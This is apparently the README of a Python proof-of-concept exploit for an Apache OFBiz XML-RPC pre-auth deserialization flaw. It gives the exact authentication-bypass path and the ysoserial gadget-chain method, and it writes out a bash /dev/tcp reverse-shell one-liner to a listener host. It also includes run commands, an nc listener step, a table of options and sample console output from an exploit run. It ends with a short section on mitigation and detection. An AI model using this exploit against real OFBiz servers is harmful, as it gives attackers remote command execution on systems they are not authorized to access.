
Python PoC for Apache OFBiz CVE-2023-49070: auth-bypass on /webtools/control/xmlrpc plus ysoserial gadget chain to achieve pre-auth deserialization RCE.
PoC for the Apache OFBiz XML-RPC pre-auth deserialization RCE tracked as
CVE-2023-49070: an authentication-bypass path unlocks the legacy
/webtools/control/xmlrpc endpoint, which deserializes an attacker-
controlled Java object smuggled inside an XML-RPC <serializable>
parameter.
⚠️ For authorized security testing only. Only run this against systems you own or are explicitly authorized to test (CTF/lab environments, engagements with signed scope, etc.). Unauthorized access to computer systems is illegal in most jurisdictions.
Apache OFBiz's view-map authentication normally protects
/webtools/control/xmlrpc. Affected versions (< 18.12.10) can be
tricked into skipping that check by appending a semicolon plus specific
query parameters to the path:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
Once reachable, the endpoint accepts XML-RPC requests. Apache XML-RPC's
Java implementation supports a <serializable> extension type: the
element's content is base64-decoded and passed straight into
ObjectInputStream.readObject() — classic unsafe Java deserialization.
With a suitable gadget chain on the classpath (this PoC uses
CommonsBeanutils1 via ysoserial
by default), that translates directly into remote command execution as
the OS user running OFBiz.
This is the same family of bug as the earlier OFBiz XML-RPC deserialization CVEs (e.g. CVE-2023-51467's auth-bypass sibling); OFBiz has had a recurring pattern of auth-bypass + deserialization pairs on this endpoint, so check the exact CVE/version range that applies to your target before relying on this PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1 reverse shell,
base64-encodes it, and wraps it in a bash -c 'echo ... | base64 -d | bash'
one-liner (dodges shell-metacharacter mangling further down the
execution chain).ysoserial to build a serialized gadget chain
(CommonsBeanutils1 by default, configurable) that runs that
one-liner.<serializable> payload.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — a
signal the payload was processed, not proof of code execution.It cannot confirm you got a shell — OFBiz returns a generic error either
way once deserialization runs (the XML-RPC method itself, Dns, doesn't
exist as a real service). Always have your listener up and check it,
not just the script's console output.
pip install requests --break-system-packagesysoserial-all.jar — build it yourself from
frohoff/ysoserial
(mvn clean package -DskipTests) or grab a release jar. Not bundled
here — it's a large third-party tool with its own license.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Start a listener first:
nc -lvnp 4444
CommonsBeanutils1 is the classic choice for OFBiz (it ships
commons-beanutils on the classpath), but if it doesn't fire, OFBiz's
bundled libraries support other chains too. Just swap --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc if you don't
actively use XML-RPC integration; the webtools component in general
is a common target and should not be internet-facing without a strong
reason.; trick against Java servlet path parsing.ObjectInputFilter, available since JEP 290 / Java 9+) to block
known gadget-chain classes from ever being instantiated, regardless of
which endpoint triggers the deserialization.*/control/xmlrpc* containing
<serializable> elements, unexpected outbound connections from the
OFBiz host, and child processes spawned by the Java process running
OFBiz.MIT — see LICENSE.
| Flag | Default | Description |
|---|
--target | (required) | Target base URL, e.g. https://ofbiz.target.tld |
--lhost | (required) | Your listener IP |
--lport | (required) | Your listener port |
--ysoserial | ysoserial-all.jar | Path to the ysoserial jar |
--gadget | CommonsBeanutils1 | ysoserial gadget chain to use |
--java-bin | java | Java binary to invoke |
--timeout | 15 | HTTP request timeout (seconds) |
--proxy | (none) | Optional HTTP(S) proxy, e.g. for routing through Burp |